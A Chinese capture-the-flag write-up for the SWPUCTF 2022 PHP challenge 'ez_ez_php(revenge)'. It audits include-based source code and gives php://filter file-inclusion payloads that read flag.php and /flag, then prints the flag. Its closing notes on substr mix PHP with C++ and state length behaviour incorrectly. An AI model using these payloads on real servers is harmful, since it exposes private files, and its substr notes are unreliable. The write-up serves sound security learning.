本文主要是介绍php伪协议 [SWPUCTF 2022 新生赛]ez_ez_php(revenge),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
打开题目
题目源代码如下
<?php
error_reporting(0);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 3) === "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";}
}else {highlight_file(__FILE__);
}
//flag.php
代码审计一下
首先检查是否存在名为 file
的 GET 参数
如果存在 file
参数,就用substr函数检查该参数值的前三个字符是否为 "php"
- 如果是的话,代码会输出 "Nice!!!",然后通过
include
函数包含该参数所指定的文件。 - 如果不是以 "php" 开头,代码会输出 "Hacker!!"
- 如果
file
参数不存在,则会显示当前文件的源代码。
很明显这里用php伪协议即可读取flag
payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
解码得到
得到提示
把payload换成
?file=php://filter/read=convert.base64-encode/resource=/flag
解码即可得到flag
NSSCTF{7877cb1d-5672-4cc9-946a-d69f3c5d2640}
知识点:
subsub函数
substr(string,start<,length>)
主要功能是复制子字符串,要求从指定位置开始,并具有指定的长度
从string 的start位置开始提取字符串,length:待提取的字符串的长度
若length为以下情况时,返回整个字符串的所有字符
1、length不指定
2、length为空
3、length为负值
4、length大于字符串的长度
具体用法见:C++中substr()函数用法详解_substr c++-CSDN博客
这篇关于php伪协议 [SWPUCTF 2022 新生赛]ez_ez_php(revenge)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!